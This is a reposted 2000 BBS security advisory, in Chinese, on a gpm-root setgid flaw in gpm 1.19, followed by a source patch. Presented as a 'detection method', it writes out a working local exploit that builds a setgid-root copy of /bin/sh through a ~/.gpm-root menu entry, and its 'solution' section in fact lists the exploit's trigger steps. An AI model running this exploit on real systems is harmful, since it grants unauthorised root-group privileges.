荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (???????????????????????????????????????), 信区: Hacker
标  题: [转载] Linux下gpm-root工具包的setgid root漏洞
发信站: BBS 荔园晨风站 (Sun May 28 23:01:57 2000), 转信

【 以下文字转载自 bstone 的信箱 】
【 原文由 bstone 所发表 】


漏洞发布时间:2000-03-23
漏 洞 描 述:

Alessandro Rubini gpm 1.19软件包中的gpm-root程序是一个守护进程,当用户在
控制台按下Ctrl键和鼠标按钮时将显示出一个菜单,菜单内容由/etc/gpm-root.
conf或者$HOME/.grpm-root文件设定。gpm-root会先运行setuid()改变用户id,然
后再运行setgid()改变用户组id,但是由于设计错误,程序没有正确的执行
setgid(),因此进程将保持gpm-root运行时的组身份,通常是root组。本地用户(必
须可以物理上访问控制台)可利用这个漏洞来获取root组权限。

漏洞检测方法如下:

$ cp /bin/sh /tmp
$ cat >~/.gpm-root<<_EOF_

button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

_EOF_

解 决 方 法:

按Ctrl键加鼠标的左键,激活菜单,点击"setgid shell",然后执行/tmp/sh。


或者安装下面补丁程序:
diff -u -r -N ../gpm-1.19.0.orig/doc/doc.gpm ./doc/doc.gpm
--- ../gpm-1.19.0.orig/doc/doc.gpm    Mon Feb 7 23:34:00 2000
+++ ./doc/doc.gpm    Thu Mar 23 14:37:43 2000
@@ -1969,6 +1969,12 @@
be broken by this daemon. Things should be sufficiently secure, but
if you find a hole please tell me about it.

+@item -r
+ Always run commands as root instead of the user who owns the tty.
+ Implies -u. This is useful for those system administrators who
+ put menu entries to reboot or halt the system, start or stop
+ xdm, change keyboard layout etc.
+
@item -D
Do not automatically enter background operation when started,
and log messages to the standard error stream, not the syslog
diff -u -r -N ../gpm-1.19.0.orig/gpm-root.y ./gpm-root.y
--- ../gpm-1.19.0.orig/gpm-root.y    Thu Oct 7 20:15:18 1999
+++ ./gpm-root.y    Thu Mar 23 14:37:43 2000
@@ -41,6 +41,7 @@
#include <sys/syslog.h>
#include <signal.h> /* sigaction() */
#include <pwd.h> /* pwd entries */
+#include <grp.h> /* initgroups() */
#include <sys/kd.h> /* KDGETMODE */
#include <sys/stat.h> /* fstat() */
#include <sys/utsname.h> /* uname() */
@@ -117,6 +118,7 @@
int opt_mod = 4; /* control */
int opt_buf = 0; /* ask the kernel about it */
int opt_user = 1; /* allow user cfg files */
+int opt_root = 0; /* run everything as root */



@@ -447,6 +449,7 @@
void f__fix(struct passwd *pass)
{
setgid(pass->pw_gid);
+ initgroups(pass->pw_name, pass->pw_gid);
setuid(pass->pw_uid);
setenv("HOME", pass->pw_dir, 1);
setenv("LOGNAME", pass->pw_name,1);
@@ -539,7 +542,7 @@
return 1;

    case 0:
-     setuid(uid);
+     if (opt_root) uid=0;
     pass=getpwuid(uid);
     if (!pass) exit(1);
     f__fix(pass);
@@ -926,6 +929,7 @@
printf(" Valid options are\n"
" -m <number-or-name> modifier to use\n"
" -u inhibit user configuration files\n"
+ " -r run commands as root\n"
" -D don't auto-background and run as daemon\n"
" -V <verbosity-delta> increase amount of logged messages\n"
);
@@ -971,12 +975,13 @@
int opt;

gpm_log_daemon = 1;
- while ((opt = getopt(argc, argv,"m:uDV::")) != -1)
+ while ((opt = getopt(argc, argv,"m:urDV::")) != -1)
{
switch (opt)
{
case 'm': opt_mod=getmask(optarg, tableMod); break;
case 'u': opt_user=0; break;
+ case 'r': opt_root=1; opt_user=0; break;
case 'D': gpm_log_daemon = 0; break;
case 'V':
gpm_debug_level += (0 == optarg ? 1 : strtol(optarg, 0, 0));



本文出自:广州京九网联


--
 Welcome to http://192.168.28.98


※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.106]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.98]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店